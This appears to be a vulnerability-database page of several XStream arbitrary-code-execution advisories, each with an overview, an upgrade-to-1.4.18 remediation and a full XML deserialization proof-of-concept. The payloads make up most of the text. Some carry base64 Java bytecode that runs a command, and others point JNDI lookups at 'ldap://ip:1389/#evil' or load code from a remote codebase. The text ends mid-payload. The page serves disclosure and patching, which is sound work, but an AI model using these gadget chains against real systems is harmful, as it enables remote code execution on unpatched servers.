Find, fix and prevent vulnerabilities in your code.

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream, if using the version out of the box with Java runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
        <outer-class>
          <verbose>0</verbose>
          <effort>0</effort>
          <optDumpBands>false</optDumpBands>
          <optDebugBands>false</optDebugBands>
          <optVaryCodings>false</optVaryCodings>
          <optBigStrings>false</optBigStrings>
          <isReader>false</isReader>
          <bandHeaderBytePos>0</bandHeaderBytePos>
          <bandHeaderBytePos0>0</bandHeaderBytePos0>
          <archiveOptions>0</archiveOptions>
          <archiveSize0>0</archiveSize0>
          <archiveSize1>0</archiveSize1>
          <archiveNextCount>0</archiveNextCount>
          <attrClassFileVersionMask>0</attrClassFileVersionMask>
          <attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
            <bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                <default>
                  <__name>Pwnr</__name>
                  <__bytecodes>
                    <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDU0MTY0NDMxMDIwMTkBACBMeXNvc2VyaWFsL1B3bmVyMjA1NDE2NDQzMTAyMDE5OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==</byte-array>
                    <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                  </__bytecodes>
                  <__transletIndex>-1</__transletIndex>
                  <__indentNumber>0</__indentNumber>
                </default>
              </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            </bean>
            <localCache>
              <methods>
                <entry>
                  <string>getOutputProperties</string>
                  <list>
                    <method>
                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                      <name>getOutputProperties</name>
                      <parameter-types/>
                    </method>
                  </list>
                </entry>
              </methods>
            </localCache>
          </attrIndexTable>
          <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
        </outer-class>
      </comparator>
    </default>
    <int>3</int>
    <string-array>
      <string>yxxx</string>
      <string>outputProperties</string>
    </string-array>
    <string-array>
      <string>yxxx</string>
    </string-array>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
        <owner/>
        <managedObjectManagerClosed>false</managedObjectManagerClosed>
        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
          <stubHandlers>
            <entry>
              <method>
                <class>java.lang.Comparable</class>
                <name>compareTo</name>
                <parameter-types>
                  <class>java.lang.Object</class>
                </parameter-types>
              </method>
              <com.sun.xml.internal.ws.client.sei.StubHandler>
                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                  <indices>
                    <int>0</int>
                  </indices>
                  <getters>
                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                  </getters>
                  <accessors>
                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      <val_-isJAXBElement>false</val_-isJAXBElement>
                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                        <type>int</type>
                        <field>
                          <name>hash</name>
                          <clazz>java.lang.String</clazz>
                        </field>
                      </val_-getter>
                      <val_-isListType>false</val_-isListType>
                      <val_-n>
                        <namespaceURI/>
                        <localPart>hash</localPart>
                        <prefix/>
                      </val_-n>
                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                        <type>java.lang.String</type>
                        <method>
                          <class>javax.naming.InitialContext</class>
                          <name>doLookup</name>
                          <parameter-types>
                            <class>java.lang.String</class>
                          </parameter-types>
                        </method>
                      </val_-setter>
                      <outer-class>
                        <propertySetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field>
                                <name>serialPersistentFields</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>java.util.Comparator</type>
                              <field>
                                <name>CASE_INSENSITIVE_ORDER</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>long</type>
                              <field>
                                <name>serialVersionUID</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[C</type>
                              <field>
                                <name>value</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>int</type>
                              <field reference='../../../../../val_-getter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                        </propertySetters>
                        <propertyGetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>java.util.Comparator</type>
                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>long</type>
                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[C</type>
                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                          </entry>
                        </propertyGetters>
                        <elementLocalNameCollision>false</elementLocalNameCollision>
                        <contentClass>java.lang.String</contentClass>
                        <elementDeclaredTypes/>
                      </outer-class>
                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                  </accessors>
                  <wrapper>java.lang.Object</wrapper>
                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                  <dynamicWrapper>false</dynamicWrapper>
                </bodyBuilder>
                <isOneWay>false</isOneWay>
              </com.sun.xml.internal.ws.client.sei.StubHandler>
            </entry>
          </stubHandlers>
          <clientConfig>false</clientConfig>
        </databinding>
        <methodHandlers>
          <entry>
            <method reference='../../../databinding/stubHandlers/entry/method'/>
            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              <owner reference='../../../..'/>
              <method reference='../../../../databinding/stubHandlers/entry/method'/>
              <isVoid>false</isVoid>
              <isOneway>false</isOneway>
            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
          </entry>
        </methodHandlers>
      </handler>
    </dynamic-proxy>
    <string>ldap://ip:1389/#evil</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. A user is only affected if using the version out of the box with JDK 1.7u21 or below. However, this scenario can be adjusted easily to an external Xalan that works regardless of the version of the Java runtime. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<linked-hash-set>
  <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization='custom'>
    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
      <default>
        <__name>Pwnr</__name>
        <__bytecodes>
          <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNDE2NTkyOTE1MTgwNjAwAQAgTHlzb3NlcmlhbC9Qd25lcjQxNjU5MjkxNTE4MDYwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
          <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
        </__bytecodes>
        <__transletIndex>-1</__transletIndex>
        <__indentNumber>0</__indentNumber>
      </default>
    </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  <dynamic-proxy>
    <interface>javax.xml.transform.Templates</interface>
    <handler class='sun.reflect.annotation.AnnotationInvocationHandler' serialization='custom'>
      <sun.reflect.annotation.AnnotationInvocationHandler>
        <default>
          <memberValues>
            <entry>
              <string>f5a5a608</string>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference='../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'/>
            </entry>
          </memberValues>
          <type>javax.xml.transform.Templates</type>
        </default>
      </sun.reflect.annotation.AnnotationInvocationHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<javax.swing.event.EventListenerList serialization='custom'>
  <javax.swing.event.EventListenerList>
    <default>
      <listenerList>
        <javax.swing.undo.UndoManager>
          <hasBeenDone>true</hasBeenDone>
          <alive>true</alive>
          <inProgress>true</inProgress>
          <edits>
            <com.sun.xml.internal.ws.api.message.Packet>
              <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                <parsedMessage>true</parsedMessage>
                <soapVersion>SOAP_11</soapVersion>
                <bodyParts/>
                <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                  <attachmentsInitialized>false</attachmentsInitialized>
                  <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
                    <soapPart/>
                    <mm>
                      <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                        <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                          <cleaned>false</cleaned>
                          <entries>
                            <com.sun.jndi.ldap.LdapEntry>
                              <DN>cn=four,cn=three,cn=two,cn=one</DN>
                              <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                                <javax.naming.directory.BasicAttribute>
                                  <default>
                                    <ignoreCase>false</ignoreCase>
                                  </default>
                                  <int>4</int>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>objectClass</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>javanamingreference</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default>
                                        <rdn class='com.sun.jndi.ldap.LdapName' serialization='custom'>
                                          <com.sun.jndi.ldap.LdapName>
                                            <string>cn=four,cn=three,cn=two,cn=one</string>
                                            <boolean>false</boolean>
                                          </com.sun.jndi.ldap.LdapName>
                                        </rdn>
                                      </default>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaCodeBase</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>http://127.0.0.1:8080/</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaClassName</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>refObj</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaFactory</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>ExecTemplateJDK7</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                </javax.naming.directory.BasicAttribute>
                              </attributes>
                            </com.sun.jndi.ldap.LdapEntry>
                          </entries>
                          <limit>2</limit>
                          <posn>0</posn>
                          <homeCtx/>
                          <more>true</more>
                          <hasMoreCalled>true</hasMoreCalled>
                        </aliases>
                      </it>
                    </mm>
                  </multiPart>
                </sm>
              </message>
            </com.sun.xml.internal.ws.api.message.Packet>
          </edits>
          <indexOfNextAdd>0</indexOfNextAdd>
          <limit>100</limit>
        </javax.swing.undo.UndoManager>
      </listenerList>
    </default>
    <string>java.lang.InternalError</string>
    <javax.swing.undo.UndoManager reference='../default/listenerList/javax.swing.undo.UndoManager'/>
    <null/>
  </javax.swing.event.EventListenerList>
</javax.swing.event.EventListenerList>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
          <default>
            <loadFactor>0.75</loadFactor>
            <threshold>525</threshold>
          </default>
          <int>700</int>
          <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
          <default>
            <defaultLocale>zh_CN</defaultLocale>
            <resourceCache/>
          </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
          <default>
            <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>lazyValue</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <string>ldap://127.0.0.1:1389/#evil</string>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
            </tables>
          </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
        <parsedMessage>true</parsedMessage>
        <soapVersion>SOAP_11</soapVersion>
        <bodyParts/>
        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
          <attachmentsInitialized>false</attachmentsInitialized>
          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
            <soapPart/>
            <mm>
              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                <aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'>
